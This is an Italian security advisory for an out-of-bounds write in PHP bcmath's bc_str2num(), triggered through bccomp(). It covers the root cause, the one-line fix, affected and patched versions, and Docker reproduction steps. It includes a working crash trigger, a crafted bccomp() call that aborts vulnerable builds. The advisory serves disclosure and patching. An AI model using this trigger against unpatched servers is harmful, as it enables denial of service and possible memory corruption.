
CVE-2026-17544 — Scrittura OOB (fuori dai limiti) in bccomp() di PHP bcmath (stack smashing). Verificato: crash su 8.4.23/8.5.8, corretto in 8.4.24. GHSA-x692-q9x7-8c3f
bccomp() Scrittura fuori dai limiti (Stack Smashing)CVSS 9.8 (Critico) · CWE-787 · GHSA-x692-q9x7-8c3f
bc_str2num() in ext/bcmath/libbcmath/src/str2num.c (libbcmath integrato, PHP 8.4+) contiene una
scrittura fuori dai limiti off-by-N. Quando la scale fornita dall'utente è inferiore alla scala
automatica dell'operando, la frazione viene troncata e successivamente viene eseguita una rimozione
degli zeri finali senza aggiornare fractional_end. Il buffer viene allocato per la lunghezza
troncata (più corta) ma la copia utilizza la lunghezza non troncata → buffer overflow su heap/stack.
Versioni interessate: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9
Versioni corrette: PHP 8.4.24 / 8.5.9 (2026-07-30), commit fa18dab73f93 / ce2ec8a70755
Crediti al ricercatore: Recep Asan (recepasan)
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end; // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale) // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end) // copies UNTRIMMED length
La correzione di una riga (fractional_end = fractional_new_end;) e il test di regressione
ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt sono stati integrati in 8.4.24/8.5.9.
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
| Build | Risultato |
|---|---|
PHP 8.4.23 (vulnerabile, Docker php:8.4.23-cli + bcmath) | 💥 *** stack smashing detected ***, exit 133 (SIGABRT) |
| PHP 8.5.8 (vulnerabile) | 💥 idem — abort deterministico |
PHP 8.4.24 (corretto, php:8.4.24-cli) | ✅ int(1), exit 0 |
Verificato il 2026-08-12 su Raspberry Pi 5 (arm64) tramite Docker.
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)
# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0
bccomp() può
essere mandato in crash in modo deterministico (8.4/8.5, le build con stack-protector abortiscono; le build
non protette corrompono i registri salvati/indirizzo di ritorno).fa18dab73f93 · Fix 8.5: ce2ec8a70755